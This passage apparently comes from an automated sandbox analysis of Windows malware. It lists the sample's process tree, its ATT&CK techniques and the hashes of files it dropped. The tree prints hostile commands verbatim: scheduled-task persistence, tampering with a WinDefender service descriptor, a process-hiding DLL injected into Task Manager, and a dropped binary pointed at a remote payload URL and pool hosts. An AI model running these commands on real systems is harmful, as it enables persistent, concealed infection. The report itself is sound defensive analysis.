    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4848
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3668
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:3900
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /delete /tn ScheduledUpdate /f
      4⤵
      PID:2016
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2104
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4236
  - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1544
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:4784
  - - C:\Windows\windefender.exe
      "C:\Windows\windefender.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4308
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3376
      - C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        6⤵
        Launches sc.exe
        Suspicious use of AdjustPrivilegeToken
        
        PID:2556
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:2648
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
      4⤵
      Executes dropped EXE
      PID:3672
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:3660
  - - C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      4⤵
      Executes dropped EXE
      PID:4332
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:3436
  - - C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
      4⤵
      Executes dropped EXE
      PID:1896

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:1888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_jlyxxoft.wnk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jlyxxoft.wnk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

1bf850b4d9587c1017a75a47680584c4.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
Size 2.0MB
SHA256 ac470c2fa05a67dd03cdc427e9957e661cd0ec7aecd9682ddb0b32c5cfc18955
MD5 1bf850b4d9587c1017a75a47680584c4
SHA1 75cd4738ffc07f203c3f3356bc946fdd0bcdbe19
SHA512 ed57be8c5a982bcbf901c2b035eb010e353508e7c7df338adc6e5c307e94427645e5f5ec28667fd861420b9411b4ade96ea6987519ed65e6c1d905b6eadfce08
SSDEEP 49152:UELEoxcmAny6Zh9DzmwJe/sKomVVE0zXlKSQjYU:lEoxcpnjPe/xJ7jQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

713674d5e968cbe2102394be0b2bae6f.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
Size 2.8MB
SHA256 f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057
MD5 713674d5e968cbe2102394be0b2bae6f
SHA1 90ac9bd8e61b2815feb3599494883526665cb81e
SHA512 e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb
SSDEEP 49152:+uD5PvFC1ReeoK0HVcCkrk0VPnpjuiQgldnL0XeupsNLGj+wyVxT:7aH7oaCWk0NpDlquu4Gj+R
MD5 SHA1 SHA512 SSDEEP

Submit Download

dcb505dc2b9d8aac05f4ca0727f5eadb.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
Size 2.0MB
SHA256 61f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551
MD5 dcb505dc2b9d8aac05f4ca0727f5eadb
SHA1 4f633edb62de05f3d7c241c8bc19c1e0be7ced75
SHA512 31e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3
SSDEEP 49152:si+HNTN8UVx4N6h/0k711d70aozkXWAkTmQ2U2lT4:r8J8UVs6mLz9
MD5 SHA1 SHA512 SSDEEP

Submit Download

injector.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
Size 281KB
SHA256 5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
MD5 d98e33b66343e7c96158444127a117f6
SHA1 bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA512 705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
SSDEEP 3072:qbHszDaOJ8u2HHFIWr6e29kOnK7qFQ8wMii5I7kGvNjzMuszHshoY46bEydJ+dK9:SA3IlIA6e29vngqS8wMmuooh8z+8F
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69
MD5 3d086a433708053f9bf9523e1d87a4e8
SHA1 b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28
SHA512 931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd
MD5 SHA1 SHA512

Submit Download